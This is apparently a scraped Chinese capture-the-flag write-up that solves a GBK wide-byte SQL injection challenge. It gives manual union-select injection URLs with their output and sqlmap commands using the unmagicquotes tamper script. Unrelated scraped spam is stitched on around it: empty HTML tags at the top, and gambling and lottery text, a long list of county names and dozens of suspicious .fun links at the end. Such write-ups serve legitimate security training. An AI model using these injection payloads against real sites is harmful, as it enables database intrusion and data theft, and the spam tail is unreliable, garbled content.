<object id="66kyq"><u id="66kyq"></u></object>
  • <menu id="66kyq"></menu>
    <menu id="66kyq"><u id="66kyq"></u></menu><menu id="66kyq"></menu>
    <menu id="66kyq"></menu>
    <menu id="66kyq"><u id="66kyq"></u></menu><input id="66kyq"><tt id="66kyq"></tt></input><menu id="66kyq"></menu>
  • <input id="66kyq"><u id="66kyq"></u></input>
    <object id="66kyq"><u id="66kyq"></u></object>
    <menu id="66kyq"></menu>

    (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    马會傅真图库2018年香港开奖日期表2018香港历史开奖结果香港最快开奖现场直播香港马会开码结果直播 开奖结果 庆云县| 奎屯市| 惠来县| 博野县| 襄樊市| 东光县| 思茅市| 永康市| 化德县| 雅安市| 固原市| 香格里拉县| 苍山县| 衡阳县| 洛隆县| 仁布县| 蓬溪县| 西贡区| 平舆县| 沙坪坝区| 广德县| 双流县| 新乡市| 吉林省| 阿坝县| 贡山| 逊克县| 济源市| 江安县| 易门县| 墨脱县| 白银市| 合肥市| 新源县| 太谷县| 荣成市| 牙克石市| 平乐县| 金沙县| 海伦市| 保靖县| 西丰县| 崇阳县| 邛崃市| 罗甸县| 志丹县| 渭南市| 青神县| 板桥市| 仙居县| 夏邑县| 嵊州市| 兴城市| 安塞县| 勐海县| 榆树市| 衡阳县| 峨山| 道真| 施秉县| 历史| 漳平市| 宾阳县| 南靖县| 南陵县| 临沂市| 巴林右旗| 北票市| 天台县| 太白县| 桦南县| 武隆县| 肃宁县| 恩施市| 凤翔县| 河东区| 仪征市| 江孜县| 吉林市| 莱州市| 珲春市| 乌兰察布市| 蛟河市| 霍山县| 富锦市| 军事| 通化市| 韶关市| 治多县| 张家口市| 绥棱县| 颍上县| 镇平县| 云梦县| 郸城县| 双桥区| 陇西县| 承德县| 大港区| 集安市| 法库县| 贞丰县| 汪清县| 陇西县| 光山县| 中西区| 塔河县| 德兴市| 宾川县| 普洱| 长顺县| 丽江市| 吴旗县| 长顺县| 崇左市| 彭泽县| 邹城市| 集安市| 阳泉市| 德昌县| 锦州市| 香格里拉县| 尤溪县| 揭西县| 新绛县| 临海市| 江口县| 泽库县| 环江| 壤塘县| 宁陵县| 长泰县| 南汇区| 岫岩| 安庆市| 班戈县| 富裕县| 佛冈县| 西盟| 繁昌县| 息烽县| 苗栗县| 绥芬河市| 建始县| 鹤庆县| 金塔县| 思茅市| 南充市| 江永县| 池州市| 黎城县| 黄平县| 咸宁市| 固镇县| 盐池县| 青州市| 探索| 象山县| 富源县| 永吉县| 新密市| 茂名市| 雅江县| 瓮安县| 宁南县| 巴东县| 电白县| 肇东市| 维西| 顺昌县| 保亭| 黄浦区| 德保县| 体育| 壶关县| 夏邑县| 凤冈县| 额敏县| 苏尼特左旗| 巴中市| 旺苍县| 西宁市| 玛沁县| 泸西县| 澄江县| 光山县| 清水河县| 民丰县| 襄樊市| 客服| 克什克腾旗| 尼木县| 武强县| 石狮市| 上林县| 武隆县| 古蔺县| 阿瓦提县| 宣化县| 平顺县| 大埔区| 德令哈市| 阳西县| 神农架林区| 新昌县| 庆阳市| 桂东县| 喀喇沁旗| 绥江县| 峨边| 沿河| 南投县| 武乡县| 长治市| 靖安县| 临清市| 德清县| 手游| 广州市| 铁岭县| 玉田县| 丰台区| 宜宾市| 固镇县| 西安市| 慈溪市| 灵川县| 永平县| 方山县| 龙南县| 清丰县| 封开县| 防城港市| 光山县| 东台市| 怀仁县| 红原县| 太康县| 屯留县| 麻江县| 盖州市| 英山县| 天津市| 宿州市| 墨竹工卡县| 政和县| 石首市| 河源市| 贞丰县| 砚山县| 大竹县| 石柱| 宁陵县| 平湖市| 突泉县| 息烽县| 蓬溪县| 运城市| 南岸区| 台南县| 望奎县| 海南省| 宜君县| 灵寿县| 卢龙县| 克山县| 卢龙县| 佛学| 屏山县| 茂名市| 孟津县| 通化市| 巴里| 梧州市| 黑龙江省| 华亭县| 谷城县| 广宗县| 平武县| 尚志市| 修武县| 昭觉县| 马关县| 祁连县| 葫芦岛市| 永嘉县| 东辽县| 新和县| 定结县| 修水县| 军事| 常宁市| 当涂县| 乐业县| 曲阳县| 康乐县| 金山区| 潮安县| 额敏县| 凤山市| 平安县| 出国| 天祝| 疏附县| 甘泉县| 都匀市| 长汀县| 宝坻区| 连平县| 鄂托克旗| 海晏县| 余江县| 江城| 卓资县| 商河县| 遵义市| 延边| 富源县| 武定县| 松潘县| 文昌市| 全州县| 金寨县| 昌黎县| 个旧市| 井冈山市| 托克逊县| 平南县| http://3g.yqo8j2rl1v.fun http://3g.bo2020races.fun http://3g.yqo9j6rl1v.fun http://3g.yqo5j8rl5v.fun http://3g.yqo6j0rl6v.fun http://3g.bo2020shops.fun http://3g.bo2020carts.fun http://3g.bo2020rounds.fun http://3g.bo2020notes.fun http://3g.gz1980rezainc.fun http://3g.gz1980addressc.fun http://3g.yqo4j8rl2v.fun http://3g.bo2020zerchandises.fun http://3g.bo2020scripts.fun http://3g.yqo3j7rl6v.fun http://3g.bo2020rings.fun http://3g.bo2020reduces.fun http://3g.gz1980exactc.fun